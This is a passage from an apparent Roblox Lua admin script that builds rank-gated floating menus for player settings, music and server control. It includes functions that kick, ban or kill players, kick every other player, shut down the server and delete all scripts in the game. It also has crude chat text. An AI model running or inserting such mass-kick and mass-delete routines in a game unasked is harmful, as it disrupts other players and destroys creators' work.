  1769. local lbl = Instance.new("TextLabel",b)
  1770. lbl.Size = UDim2.new(1,0,1,0)
  1771. lbl.Text = formatstr(tostring(text))
  1772. lbl.TextScaled = true
  1773. lbl.TextWrapped = false
  1774. lbl.Font = "SourceSansBold"
  1775. lbl.FontSize="Size18"
  1776.  
  1777. local pl=Instance.new'PointLight'
  1778. pl.Parent=tab
  1779. pl.Color=ncolor.Color--Color3.new(1,1,1)
  1780.  
  1781. lbl.TextStrokeColor3 = ncolor.Color
  1782. lbl.TextColor3 = ncolor.Color--Color3.new(1,1,1)
  1783. lbl.TextStrokeTransparency = 1
  1784. lbl.TextTransparency = 0
  1785. lbl.BackgroundTransparency = 1
  1786. lbl.ZIndex = 10
  1787. if skipanim then tab.Size=t.size else
  1788. delay(0,function()
  1789. for i=0,1,.2 do
  1790. wait'1/44'
  1791. tab.Size=mysize*i
  1792. end
  1793. tab.Size=mysize
  1794. end)
  1795. end
  1796. if delayt~=0 then
  1797. delay(delayt,function()
  1798. if tab then
  1799. rem(tab)
  1800. end;
  1801. end)
  1802. end
  1803.  
  1804. sb.Color=(ncolor)
  1805. sb.Transparency=1
  1806. sb.Adornee=tab
  1807.  
  1808. cd.MaxActivationDistance=math.huge
  1809.  
  1810. cd.MouseHoverEnter:connect(function(plrn)
  1811. if plrn.Name==plr then
  1812. --for i=1,1.5,.25 do
  1813. -- wait'1/44'
  1814. -- tab.Size=t.size*i
  1815. --end
  1816. tab.Transparency=0
  1817. tab.Size=mysize*1.5
  1818. end
  1819. end)
  1820.  
  1821. cd.MouseHoverLeave:connect(function(plrn)
  1822. if plrn.Name==plr then
  1823. --tab.Size=t.size
  1824. --repeat wait()until (tab.Size-t.size*1.5).magnitude<.1 and tab.Name~='x'
  1825. --for i=1.5,1,-.25 do
  1826. -- wait'1/44'
  1827. -- tab.Size=t.size*i
  1828. --end
  1829. tab.Size=mysize
  1830. tab.Transparency=t.trans
  1831. end
  1832. end)
  1833. local pressed=false
  1834. cd.MouseClick:connect(function(clicker)
  1835. if clicker.Name==plr then
  1836. if fn~='' and tab.Name~='x'and fn~=nil and pressed==false then
  1837. fn(tab)pressed=true
  1838. end
  1839. if fne=='dmself'then
  1840. rem(tab)
  1841. end
  1842. end
  1843. end)
  1844.  
  1845.  
  1846. table.insert(tabs[plr],tab)
  1847. --end)
  1848. end
  1849.  
  1850. --game:service'Lighting'.Outlines=false
  1851.  
  1852.  
  1853.  
  1854. _dmtab=function(player)
  1855. local plr=_plr(player)
  1856. _tab('Dismiss','Really red',plr,
  1857. function()
  1858. dmp(player)
  1859. end)
  1860. end
  1861.  
  1862. hasPermission=function(player,command)
  1863. local plrz=_plr(player)
  1864. local plr=getrank(plrz.Name)
  1865. local cmd=command;
  1866. if type(command)=='table'then cmd=command.PERM;end;
  1867. if not plr then return false;end;
  1868. if plr>=cmd then return true;end;
  1869. return false;
  1870. end
  1871.  
  1872. alert={}
  1873.  
  1874. alert.g=function(txt,g)
  1875. for i,v in pairs(getAllWithPerm(g))do
  1876. _tab(tostring(txt),ps.color(v),v,'','dmself',4)
  1877. end
  1878. end
  1879.  
  1880. alert.p=function(txt,p)
  1881. local p=_plr(p)
  1882. if p then
  1883. _tab(txt,c.white,p,'','dmself',3)
  1884. end
  1885. end
  1886.  
  1887. alert.c=function(txt,col,plr,t)
  1888. if t==nil then t=0 end
  1889. if not txt or not col or not plr then return end
  1890. local plr=_plr(plr)if plr==nil then return end
  1891. _tab(txt,col,plr,'','dmself',t)
  1892. end
  1893.  
  1894. aliasof=function(tbl,base)
  1895. for i,v in pairs(tbl)do
  1896. if v:lower()==base:lower()then
  1897. return true
  1898. end
  1899. end
  1900. return false
  1901. end
  1902.  
  1903.  
  1904.  
  1905.  
  1906.  
  1907.  
  1908.  
  1909. getbase=function(msg)
  1910. msg=msg
  1911. local s=msg:find(suffix)
  1912. if s~=nil then
  1913. return msg:sub(0,s-1),s
  1914. end
  1915. return msg,(string.len(msg)+1)
  1916. end
  1917.  
  1918. getargb=function(msg)
  1919. if msg~=nil then
  1920. if msg:sub(1,1):lower()==suffix then
  1921. local a,b=getbase(msg:sub(2))
  1922. --print(a)
  1923. --print(b)
  1924. return a,b
  1925. end
  1926. end
  1927. return '',0
  1928. end
  1929.  
  1930.  
  1931.  
  1932. matchtblv=function(tbl,key)
  1933. local found={}
  1934. pcall(function()
  1935. for i,v in pairs(tbl)do
  1936. if v:lower():find(key:lower())~=nil then
  1937. table.insert(found,v)
  1938. end
  1939. end;end)
  1940. return found
  1941. end
  1942.  
  1943. changerank=function(plr,speaker)
  1944. local plrc=_plr(plr)
  1945. if plrc then plr = plrc.Name end
  1946. local speaker=speaker
  1947. if (getrank(plr)>=getrank(speaker))then return end
  1948. if getrank(plr)<2e9 then return end
  1949. _dmtab(speaker)
  1950. _tab('changing rank of '..plr,n,speaker)
  1951. local nmddd=0
  1952. for nmddd=-1,5 do
  1953. if nmddd>=getrank(speaker)and not getrank(speaker)==5 then else
  1954. _tab(nmddd,c.snd,speaker,
  1955. function()
  1956. ds.set(plr,'Rank',nmddd)
  1957. dmp(speaker)
  1958. if nmddd==-1 or nmddd==0 and pri then
  1959. Kick(plrc)
  1960. else
  1961. alert.p(plr..' is now rank '..tostring(nmddd),speaker)
  1962. if plrc then
  1963. alert.p('you are now rank '..tostring(nmddd),plrc)end
  1964. end
  1965. end)
  1966. end
  1967. end
  1968. end
  1969.  
  1970. matchtbli=function(tbl,key)
  1971. local found={}
  1972. for i,v in pairs(tbl)do
  1973. if tostring(i):lower():find(key:lower())~=nil then
  1974. table.insert(found,i)
  1975. end
  1976. end
  1977. return found
  1978. end
  1979. plrfunc=function(plr,speaker)
  1980. dmp(speaker)
  1981. _dmtab(speaker)
  1982. local pss=ps.color(plr)
  1983. _tab('Back','Maroon',speaker,function()plrmen(plr,speaker)end)
  1984. if plr~=speaker and getrank(speaker)>getrank(plr) and getrank(speaker)>=4 then
  1985. _tab('kick',pss,speaker,function()Kick(plr)end)
  1986. if datastores then
  1987. _tab('ban',pss,speaker,function()table.insert(banlist,plr.Name)setrank(plr.Name,-1)Kick(plr)end)
  1988. end
  1989. end
  1990. if getrank(speaker)>=3 then
  1991. _tab('god',pss,speaker,function()pcall(function()plr.Character.Humanoid.MaxHealth=math.huge;end)end)
  1992. _tab('kill',pss,speaker,function()pcall(function()plr.Character.Head:remove()plr.Character.Humanoid.Health=0;end)end)
  1993. end
  1994. end
  1995.  
  1996. function rainbow(hue)
  1997. local section = hue % 1 * 3
  1998. local secondary = 0.5 * math.pi * (section % 1)
  1999. if section < 1 then
  2000. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  2001. elseif section < 2 then
  2002. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  2003. else
  2004. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  2005. end
  2006. end
  2007.  
  2008. wavemenu=function(plr,speaker)
  2009. dmp(speaker)
  2010. local pc=ps.color(plr)
  2011. _tab('Enable',c.green,speaker,
  2012. function(tabc)
  2013. local e=ds.get(plr)
  2014. ds.set(plr,'wave',true)
  2015. e[4]=true
  2016. end)
  2017. _tab('Disable',c.red,speaker,
  2018. function(tabc)
  2019. local e=ds.get(plr)
  2020. ds.set(plr,'wave',false)
  2021. e[4]=false
  2022. end)
  2023. end
  2024. rotmenu=function(plr,speaker)
  2025. dmp(speaker)
  2026. pc=ps.color(plr)
  2027. _tab('Layered',pc,speaker,function()
  2028. dmp(speaker)
  2029. _tab('Layered flat',pc,speaker,
  2030. function(tabc)
  2031. dmp(speaker)
  2032. ds.set(plr,'rot','lf')
  2033. ds.set(plr,'shape','cube')
  2034. end)
  2035. _tab('Layered rand',pc,speaker,
  2036. function(tabc)
  2037. dmp(speaker)
  2038. ds.set(plr,'rot','lrand')
  2039. ds.set(plr,'shape','cube')
  2040. end)
  2041. end)
  2042. _tab('Circle',pc,speaker,function()
  2043. dmp(speaker)
  2044. _tab('Circle rand',pc,speaker,
  2045. function(tabc)
  2046. dmp(speaker)
  2047. ds.set(plr,'rot','circlerand')
  2048. ds.set(plr,'shape','cube')
  2049.  
  2050. end)
  2051. _tab('Circle flat',pc,speaker,
  2052. function(tabc)
  2053. --local e=ds.get(plr)
  2054. dmp(speaker)
  2055. ds.set(plr,'rot','circleflat')
  2056. ds.set(plr,'shape','cube')
  2057. --e[6]='circleflat'
  2058. end)
  2059. _tab('Circle mini',pc,speaker,
  2060. function(tabc)
  2061. --local e=ds.get(plr)
  2062. dmp(speaker)
  2063. ds.set(plr,'rot','circlemini')
  2064. ds.set(plr,'shape','mini')
  2065. --e[6]='circleflat'
  2066. end)
  2067. _tab('Circle table',pc,speaker,
  2068. function(tabc)
  2069. --local e=ds.get(plr)
  2070. dmp(speaker)
  2071. ds.set(plr,'rot','circletable')
  2072. ds.set(plr,'shape','table')
  2073. --e[6]='circleflat'
  2074. end)
  2075. _tab('Flat tab',pc,speaker,
  2076. function(tabc)
  2077. --local e=ds.get(plr)\
  2078. dmp(speaker)
  2079. ds.set(plr,'rot','flattab')
  2080. ds.set(plr,'shape','flat')
  2081. end)
  2082. end)
  2083. end
  2084. MLGmenu=function(plr,speaker)
  2085. dmp(speaker)
  2086. pc=ps.color(plr)
  2087. _tab('Dismiss','Really red',plr,
  2088. function()
  2089. dmp(plr)
  2090. end)
  2091. --[[ _tab('Filtering',pc,speaker,function()
  2092. dmp(speaker)
  2093. _tab('Enable',pc,speaker,function()
  2094. game:service'Workspace'.FilteringEnabled=true
  2095. dmp(speaker)
  2096. _tab('Filtering has been enabled.',plr,function()
  2097. dmp(plr)
  2098. end)
  2099. end)
  2100. _tab('Disable',pc,speaker,function()
  2101. game:service'Workspace'.FilteringEnabled=false
  2102. dmp(speaker)
  2103. _tab('Filtering has been disabled.',plr,function()
  2104. dmp(plr)
  2105. end)
  2106. end)
  2107. _tab('Go back','Really red',plr,
  2108. function()
  2109. dmp(plr)
  2110. local targ=speaker
  2111. MLGmenu(targ,speaker)
  2112. end)
  2113. _tab('Dismiss','Really red',plr,function()
  2114. dmp(plr)
  2115. end)
  2116. end)--]]
  2117. _tab('TimeOfDay',pc,speaker,function()
  2118. dmp(speaker)
  2119. _tab('Go Back','Really red',plr,
  2120. function()
  2121. dmp(plr)
  2122. local targ=speaker
  2123. MLGmenu(targ,speaker)
  2124. end)
  2125. _tab('Dismiss','Really red',plr,
  2126. function()
  2127. dmp(plr)
  2128. end)
  2129. _tab(game:service'Lighting'.TimeOfDay,pc,speaker,
  2130. function(tabc)
  2131. dmp(speaker)
  2132. end)
  2133. end)
  2134. _tab('Options',pc,speaker,function()
  2135. dmp(speaker)
  2136. _tab('Dismiss','Really red',plr,
  2137. function()
  2138. dmp(plr)
  2139. end)
  2140. _tab('Go Back','Really red',plr,
  2141. function()
  2142. dmp(plr)
  2143. local targ=speaker
  2144. MLGmenu(targ,speaker)
  2145. end)
  2146. _tab('Gold',pc,speaker,
  2147. function(tabc)
  2148. dmp(speaker)
  2149. for i,v in pairs(speaker.Character:children'') do
  2150. if v:IsA'Part' then
  2151. v.BrickColor = BrickColor.new("Bright yellow")
  2152. v.Reflectance = 0.5
  2153. end
  2154. end
  2155. end)
  2156. _tab('Silver',pc,speaker,
  2157. function(tabc)
  2158. dmp(speaker)
  2159. for i,v in pairs(speaker.Character:children'') do
  2160. if v:IsA'Part' then
  2161. v.BrickColor = BrickColor.new("Medium stone grey")
  2162. v.Reflectance = 0.5
  2163. end
  2164. end
  2165. end)
  2166. _tab('Fire',pc,speaker,
  2167. function(tabc)
  2168. dmp(speaker)
  2169. for i,v in pairs(speaker.Character:children'') do
  2170. if v:IsA'Part' then
  2171. Instance.new("Fire",v)
  2172. end
  2173. end
  2174. end)
  2175. _tab('Sparkles',pc,speaker,
  2176. function(tabc)
  2177. dmp(speaker)
  2178. for i,v in pairs(speaker.Character:children'') do
  2179. if v:IsA'Part' then
  2180. Instance.new("Sparkles",v)
  2181. end
  2182. end
  2183. end)
  2184. _tab('Invisible',pc,speaker,
  2185. function(tabc)
  2186. dmp(speaker)
  2187. for i,v in pairs(speaker.Character:children'') do
  2188. if v:IsA'Part' then
  2189. v.Transparency = 1
  2190. end
  2191. end
  2192. for i,v in pairs(speaker.Character:children'') do
  2193. if v:IsA'Hat' then
  2194. v.Handle.Transparency = 1
  2195. end
  2196. end
  2197. speaker.Character.Head.face.Transparency = 1
  2198. end)
  2199. _tab('Visible',pc,speaker,
  2200. function(tabc)
  2201. dmp(speaker)
  2202. for i,v in pairs(speaker.Character:children'') do
  2203. if v:IsA'Part' then
  2204. v.Transparency = 0
  2205. end
  2206. end
  2207. for i,v in pairs(speaker.Character:children'') do
  2208. if v:IsA'Hat' then
  2209. v.Handle.Transparency = 0
  2210. end
  2211. end
  2212. speaker.Character.Head.face.Transparency = 0
  2213. speaker.Character.HumanoidRootPart.Transparency = 1
  2214. end)
  2215. end)
  2216. end
  2217. neonmenu=function(plr,speaker)
  2218. local plrc=_plr(plr)if plrc then plr = plrc.Name end
  2219. local pc=ps.color(speaker)
  2220. dmp(speaker)
  2221. _tab('Neon on',pc,speaker,function()
  2222. dmp(speaker)
  2223. alert.c(speaker~=plr and plr..'\'s neon enabled' or plr..'Neon enabled',pc,speaker)
  2224. ds.set(plr,'neon',true)
  2225. end)
  2226.  
  2227. _tab('Neon off',pc,speaker,function()
  2228. dmp(speaker)
  2229. alert.c(speaker~=plr and plr..'\'s neon disabled' or plr..'Neon disabled',pc,speaker)
  2230. ds.set(plr,'neon',false)
  2231. end)
  2232. end
  2233. configtab=function(plr,speaker)
  2234. local plrc=_plr(plr)if plrc then plr = plrc.Name end
  2235. if getrank(speaker.Name)>getrank(plr) and getrank(speaker.Name)>= 9e9 or plrc==speaker then
  2236. if plr~=speaker and getrank(speaker)>=9e9 and plrc then
  2237. _tab('actions','Lime green',speaker,function()plrfunc(plrc,speaker)end)
  2238. end
  2239. local pc=ps.color(plr)
  2240. _tab('player configuration','New Yeller',speaker,
  2241. function(tab)
  2242. rem(tab)
  2243. if plr~=speaker and getrank(speaker)>getrank(plr) and getrank(speaker)>=4 or plr==speaker and getrank(speaker)>=1337 then
  2244. _tab('set rank',rank[getrank(plr)],speaker,function()dmp(speaker)changerank(plr,speaker)end)
  2245. end
  2246. _tab('set wave',pc,speaker,
  2247. function(tab2)
  2248. wavemenu(plr,speaker)
  2249. _tab('Back','Teal',speaker,function()plrmen(plr,speaker)end)
  2250. end)
  2251. _tab('set rot',pc,speaker,
  2252. function(tab2)
  2253. rotmenu(plr,speaker)
  2254. _tab('back','Teal',speaker,function()plrmen(plr,speaker)end)
  2255. end)
  2256. _tab('Set color',pc,speaker,
  2257. function()
  2258. dmp(speaker)
  2259. _tab('Back','Teal',speaker,function()plrmen(plr,speaker)end)
  2260. _tab('select a color',pc,speaker)
  2261. for i,v in pairs(colors)do
  2262. _tab('['..v..']',v,speaker,
  2263. function()
  2264. local e=ds.get(plr)
  2265. e[4]=v
  2266. ds.set(plr,'color',v)
  2267. alert.c('your color is now '..v,v,plrc)
  2268. if plrc~=speaker then
  2269. alert.c('you set '..tostring(plr)..'\'s color to '..v,ps.color(speaker),speaker)
  2270. end
  2271. plrmen(plr,speaker)end)
  2272. end
  2273.  
  2274. end)
  2275. _tab('Set Neon',pc,speaker,
  2276. function()
  2277. neonmenu(plr,speaker)
  2278. end)
  2279. end)
  2280.  
  2281. end
  2282. end
  2283. placemenu=function(speaker)
  2284. dmp(speaker)
  2285. local aaacreatorname=UsernameFromID(game.CreatorId)
  2286. _tab('Place Id: '..game.PlaceId,'Deep orange',speaker)
  2287. _tab('Place Name: '..GetNameFromId(game.PlaceId),'Deep orange',speaker)
  2288. _tab('Place Creator: '..aaacreatorname..' ('..game.CreatorId..')','Deep orange',speaker)
  2289. if game.VIPServerId == "" then
  2290. _tab('VIP Server: false','Deep orange',speaker)
  2291. else
  2292. _tab('VIP Server: true Id is: '..game.VIPServerId,'Deep orange',speaker)
  2293. end
  2294. if game:service'Workspace'.StreamingEnabled == true then
  2295. _tab('Streaming is enabled','Cyan',speaker)
  2296. else
  2297. _tab('Streaming is disabled','Cyan',speaker)
  2298. end
  2299. if game:service'Workspace'.FilteringEnabled == true then
  2300. _tab('Filtering is enabled','Cyan',speaker)
  2301. else
  2302. _tab('Filtering is disabled','Cyan',speaker)
  2303. end
  2304. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  2305. _tab('Properties','Bright yellow',speaker,function()
  2306. dmp(speaker)
  2307. _tab('Generate VIPServer','Cyan',speaker,function()
  2308. privateserver(speaker,nil)
  2309. end)
  2310. _tab('Delete all scripts','Bright red',speaker,function()
  2311. for _,v in pairs(game:service'Workspace':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
  2312. for _,v in pairs(game:service'Lighting':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
  2313. for _,v in pairs(game:service'ReplicatedFirst':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
  2314. for _,v in pairs(game:service'ReplicatedStorage':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
  2315. for _,v in pairs(game:service'ServerScriptService':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
  2316. for _,v in pairs(game:service'ServerStorage':GetChildren()) do if v:IsA("Script") or v:IsA("LocalScript") then v:Remove() end end
  2317. end)
  2318. _tab('Shutdown','Bright red',speaker,function()
  2319. for _,v in pairs(game:service'Players':GetPlayers()) do
  2320. v:Kick("[Legit]: We have shutdown this server.")
  2321. end
  2322. end)
  2323. _tab('Be alone','Deep orange',speaker,function()
  2324. for _,v in pairs(game:service'Players':GetPlayers()) do
  2325. if v.Name ~= speaker.Name then
  2326. v:Kick("i wanna be alone ;-;")
  2327. end
  2328. end
  2329. end)
  2330. _tab('Dismiss','Bright red',speaker,function() dmp(speaker) end)
  2331. _tab('Go Back','Cyan',speaker,function() dmp(speaker) placemenu(speaker) end)
  2332. end)
  2333. end
  2334. plrmen=function(plr,speaker,ccc)
  2335. dmp(speaker)
  2336. _dmtab(speaker)
  2337. --ct('Back','Teal',ccc,speaker)
  2338. local plrc=_plr(plr)
  2339. if plrc==nil then else plr=plrc.Name end
  2340. local pc=ps.color(plr)
  2341. _tab(plr,n,speaker)
  2342. local v=ds.prof(plr)
  2343. _tab('Rank:\n'..getrank(plr),pc,speaker)
  2344. if v then
  2345. _tab('Reason:\n'..v[3],pc,speaker)
  2346. _tab('Color:\n'..v[5],v[5],speaker)
  2347. _tab('Wave:\n'..tostring(ps.wave(v[1])),v[5],speaker)
  2348. end
  2349. if plrc then _tab('age:\n'..tostring(plrc.AccountAge),pc,speaker)end
  2350. _tab('color:\n'..ps.color(plr),pc,speaker)
  2351. local nr=ds.default(ds.prof(plr))nr=not nr
  2352. _tab('stored in users:\n'..str.firstc(tostring(nr)),pc,speaker)
  2353. configtab(plrc,speaker)
  2354.  
  2355.  
  2356.  
  2357.  
  2358. end
  2359.  
  2360. assettype=function(id)
  2361. local i=game:GetService("MarketplaceService"):GetProductInfo(tonumber(id))
  2362. return i.AssetTypeId
  2363. end
  2364. plrinfo=function(plr,speaker)
  2365. plr=_plr(plr)
  2366. dmp(speaker)
  2367. _dmtab(speaker)
  2368.  
  2369. end
  2370.  
  2371. getAllArgs=function(str)
  2372. local found={}
  2373. local runw=true
  2374. while runw do
  2375. local arg,ends=getargb(str)
  2376. --print(ends)
  2377. if arg~='' and ends~=0 then
  2378. table.insert(found,arg)
  2379. str=str:sub(ends+1)
  2380. else
  2381. runw=false
  2382. end
  2383. end
  2384. if found~={}then
  2385. return found end
  2386. end
  2387.  
  2388. songmenu=function(n,speaker)
  2389. dmp(speaker)
  2390.  
  2391. if type(n)==type('hi')then
  2392. n=music[n][1]
  2393. end if not n then return end
  2394. _dmtab(speaker)
  2395. local i=game:GetService("MarketplaceService"):GetProductInfo(tonumber(n))
  2396. name=i.Name
  2397. t.t("Name: "..i.Name, ps.color(speaker),speaker)
  2398. t.t("Sales: "..i.Sales, ps.color(speaker),speaker)
  2399. t.t("Id: "..i.AssetId,ps.color(speaker),speaker)
  2400. _tab("Get sound", 'Deep orange',speaker,function() game:GetService("MarketplaceService"):PromptPurchase(speaker,i.AssetId) end)
  2401. local inlib=false
  2402. for i,v in pairs(music)do
  2403. if v[1]==i.AssetId then
  2404. music[i]=nil inlib=true
  2405. end
  2406. end
  2407. if inlib then music[i.Name]={i.AssetId,'Downloaded'}end
  2408. _tab("Play sound", 'Maroon',speaker,
  2409. function()
  2410. dmp(speaker)
  2411. chat("sm'deep",speaker)
  2412. m.play(nil,true)
  2413. m.play(tonumber(i.AssetId))
  2414. alert.c('now playing:\n'..i.Name,'Lime green',speaker,3)
  2415. end)
  2416. if (getrank(speaker.Name)<4) then return end
  2417. if music[i.Name]then
  2418. _tab("Remove from library",'Bright red',speaker,
  2419. function()
  2420. local mz=m.getlib()
  2421. mz[i.Name]=nil
  2422. m.setlib(mz)
  2423. alert.c('Removed song','Really red',speaker,4)
  2424. end,'dmself')
  2425. else
  2426. _tab("Add to library",'Maroon',speaker,
  2427. function()
  2428. m.addsong(i.Name,tonumber(i.AssetId),'Downloaded')
  2429. music[i.Name]={i.AssetId,'Downloaded'}
  2430. alert.c('Added song','Maroon',speaker,4)
  2431. end,'dmself')
  2432. end
  2433. end
  2434.  
  2435. genrelist=function(speaker,genreq)
  2436. local genres={}
  2437. for i,v in pairs(music)do
  2438. if v[2]~=nil then
  2439. local g=v[2]:lower()
  2440. g=g:sub(1,1):upper()..g:sub(2)
  2441. if not genres[g]then genres[g]={}end
  2442. table.insert(genres[g],i)
  2443. else
  2444. if not genres['Uncategorized']then genres['Uncategorized']={}end
  2445. table.insert(genres['Uncategorized'],i)
  2446. end
  2447. end
  2448. _dmtab(speaker)
  2449. if genreq == nil then
  2450. for i,v in pairs(genres)do--name , table of names
  2451. local g=genres[i]--table of stuff
  2452. if i=='Downloaded'and #v==0 then else
  2453. local ccc=c.purple
  2454. if i=='Downloaded'then
  2455. ccc='Lime green'
  2456. end
  2457. _tab(i..' ['..#g..']',ccc,speaker,
  2458. function()
  2459. dmp(speaker)
  2460. _dmtab(speaker)
  2461. _tab('['..i..']',c.purple,speaker)
  2462. for k,z in pairs(g)do
  2463. songmenu(z,speaker)
  2464. end
  2465. end)
  2466. end
  2467. end
  2468. else
  2469. if genres[genreq]~=nil then
  2470. local req=genres[genreq]
  2471. local ccc=c.purple
  2472. if i=='Downloaded'then
  2473. ccc='Lime green'
  2474. end
  2475. for k,z in pairs(req)do
  2476. songmenu(z,speaker)
  2477. end
  2478. end
  2479. end
  2480. end
  2481. t.t=function(text,color,player,t)
  2482. t=t or 0
  2483. if not text or not color or not player then return end
  2484. local plr=_plr(player)
  2485. _tab(text,color,plr,'','',t)
  2486. end
  2487.  
  2488. settime=function(t)
  2489. game:service'Lighting'.TimeOfDay=t
  2490. end
  2491.  
  2492. ct=function(txt,color,chatm,plr,flag)
  2493. _tab(txt,color,plr,function()chat(chatm,plr)end,flag)
  2494. end
  2495. checkgui=function(p,g)
  2496. if g.Name == "RX6" then
  2497. g:Remove()
  2498. p:LoadCharacter()
  2499. chatlegit("Respawned "..p.Name.." Ro-Exploit")
  2500. --insert an chat here to say that he uses roxploit (p - player, g- gui)
  2501. elseif g.Name == "nooties" then
  2502. if g:FindFirstChild("TextButton") then
  2503. if g.TextButton.Name == "nooties" then
  2504. g:Remove()
  2505. p:LoadCharacter()
  2506. p:Kick("bye")
  2507. deepclean()
  2508. chatlegit("Kicked "..p.Name.." for Noot Noot!")
  2509. end
  2510. end
  2511. elseif g.Name == "ScreenGui" then
  2512. if g:FindFirstChild("Frame") then
  2513. for i=1, #g.Frame do
  2514. if i:IsA("TextBox") then
  2515. if i.Text == "Victim Name" then
  2516. g:Remove()
  2517. p:LoadCharacter()
  2518. chatlegit("Respawned "..p.Name.." for Anal!")
  2519. end
  2520. end
  2521. end
  2522. end
  2523. end
  2524. end
  2525. checkbackpack=function(p,t)
  2526. if t:IsA("HopperBin") and t.Name ~= "LegitHB" then
  2527. p.Backpack:Remove()
  2528. t:Remove()
  2529. chatlegit("Someone tried to crash " ..p.Name.. " with hopperbins!")
  2530. end
  2531. end
  2532. iscmd=function(str)
  2533. for i,v in pairs(cmds) do
  2534. if v.NAME:lower()==str:lower() or aliasof((c.ALIAS or {}),str)then return v end
  2535. end
  2536. end
  2537. chat=function(msg,plr)--obj
  2538. if not enabled then return end
  2539. local iscmd=false
  2540. logs.cwrite(plr.Name..': '..msg)
  2541. if msg:sub(1,3)=='/e 'then msg=msg:sub(4)iscmd=true end
  2542. if msg:sub(1,string.len(getprefix()))==getprefix() then msg=msg:sub((string.len(getprefix()))+1)iscmd=true end
  2543. if not iscmd then return end
  2544. local base,ends=getbase(msg)
  2545. logs.cwrite(plr.Name..': '..msg)
  2546. local cmd=nil;
  2547. local test=playertimes[plr.Name]
  2548. if not test then playertimes[plr.Name]=tick()end
  2549.  
  2550. if tick()-playertimes[plr.Name]<.4 then return end
  2551. playertimes[plr.Name]=tick()
  2552. if base then
  2553. for i,c in pairs(cmds)do
  2554. if c.NAME:lower()==base:lower() or aliasof(c.ALIAS,base)then
  2555. local cmd=c;
  2556. local arg=getAllArgs(msg:sub(ends))
  2557. local rc=ps.islocked(c.NAME,plr)
  2558. if hasPermission(plr,c.PERM)and not rc then
  2559. --print(arg[1])
  2560. local run,error=ypcall(function()
  2561. c.FUNC(plr,arg,msg)
  2562. end)
  2563. if not run then dmp(plr)alert.c('Error','White',plr)alert.c(error,'Really red',plr) end
  2564. elseif rc then
  2565. alert.c('This command has been locked for you!','Really red',plr)
  2566. else
  2567. alert.c('You do not have permission for that command! ['..c.PERM..']','Really red',plr)
  2568. end
  2569. end
  2570. end
  2571. end
  2572. end
  2573. run = function(Title,Message)
  2574. for _,v in pairs(game:service'Players':GetPlayers()) do
  2575. local Value = Instance.new("StringValue",v)
  2576. Value.Name = "SB_Chat"
  2577. Value.Value = tostring(Title).."/"..Message
  2578. Value.Parent = v
  2579. game.Debris:AddItem(Value,.1)
  2580.  
  2581. end
  2582. end
  2583. addcmd=function(name,desc,permission,args,fn,aliases)
  2584.  
  2585. --COMMAND NAME
  2586.  
  2587. --COMMAND DESCRIPTION
  2588.  
  2589. --MINIMUM PERMISSION LEVEL
  2590.  
  2591. --ARGS
  2592.  
  2593. --FUNCTION (SPEAKER, ARGS)
  2594.  
  2595. --ALIAS TABLE (OPTIONAL)
  2596.  
  2597. aliases=aliases or {}
  2598.  
  2599. table.insert(cmds,{
  2600. NAME =name;
  2601. DESC =desc;
  2602. PERM =permission;
  2603. ARGS =args;
  2604. FUNC =fn;
  2605. ALIAS =aliases;
  2606. })
  2607. end
  2608.  
  2609. runas=function(msg,plr)
  2610. chat(msg,plr)
  2611. end
  2612. function CommandBar(Player)
  2613.  
  2614. if Player == nil then return end
  2615.  
  2616. for _,v in pairs(Player:FindFirstChild('PlayerGui'):GetChildren()) do
  2617. if v.Name == 'lebar' then
  2618. v:remove()
  2619. end
  2620. end
  2621.  
  2622. local ScreenGui = Instance.new("ScreenGui", Player:FindFirstChild('PlayerGui'))
  2623. ScreenGui.Name = 'lebar'
  2624.  
  2625. local Frame = Instance.new("Frame",ScreenGui)
  2626. Frame.BackgroundColor3 = Color3.new(1,1,1)
  2627. Frame.BackgroundTransparency = 1
  2628. Frame.BorderColor3 = Color3.new(0,0,0)
  2629. Frame.BorderSizePixel = 0
  2630. Frame.Position = UDim2.new(0,0,0.5,300)
  2631. Frame.Size = UDim2.new(0,400,0,30)
  2632. Frame.SizeConstraint = Enum.SizeConstraint.RelativeYY
  2633.  
  2634. local TextButton = Instance.new("TextButton",Frame)
  2635. TextButton.BackgroundColor3 = Color3.new(1,1,1)
  2636. TextButton.BackgroundTransparency = 0.69999998807907
  2637. TextButton.BorderColor3 = Color3.new(0,0,0)
  2638. TextButton.Size = UDim2.new(0.20000000298023,0,1,0)
  2639. TextButton.Style = Enum.ButtonStyle.Custom
  2640. TextButton.Font = Enum.Font.SourceSans
  2641. TextButton.FontSize = Enum.FontSize.Size24
  2642. TextButton.Text = "Submit"
  2643. TextButton.TextColor3 = Color3.new(1,0,0)
  2644.  
  2645. local TextBox = Instance.new("TextBox",Frame)
  2646. TextBox.Active = true
  2647. TextBox.BackgroundColor3 = Color3.new(1,1,1)
  2648. TextBox.BackgroundTransparency = 0.69999998807907
  2649. TextBox.BorderColor3 = Color3.new(0,0,0)
  2650. TextBox.Position = UDim2.new(0.20000000298023,0,0,0)
  2651. TextBox.Size = UDim2.new(0.80000001192093,0,1,0)
  2652. TextBox.Font = Enum.Font.SourceSans
  2653. TextBox.FontSize = Enum.FontSize.Size24
  2654. TextBox.Text = "Type command"
  2655. TextBox.TextColor3 = Color3.new(0,0,0)
  2656. TextButton.MouseButton1Down:connect(function()
  2657. runas(TextBox.Text,Player)
  2658. end)
  2659.  
  2660. Frame:TweenPosition(UDim2.new(0.75,0,0.5,300), "Out", "Quad", 1)
  2661. end
  2662. GuiNotify = function(plr,txt,tme)
  2663. --wait(time);
  2664. coroutine.wrap(function()
  2665. if time==nil then tme=5 end
  2666. local Notify = Instance.new("ScreenGui", plr.PlayerGui);
  2667. Notify.Name = "CoresMsg";
  2668. local TextLabel = Instance.new("TextLabel", Notify);
  2669. TextLabel.Size = UDim2.new(1,0,0,30);
  2670. TextLabel.Position = UDim2.new(1,0,1,0);
  2671. TextLabel.Text = txt;
  2672. TextLabel.FontSize = 'Size24'
  2673. TextLabel.BackgroundColor3 = Color3.new(0,0,0);
  2674. TextLabel.BackgroundTransparency = .42;
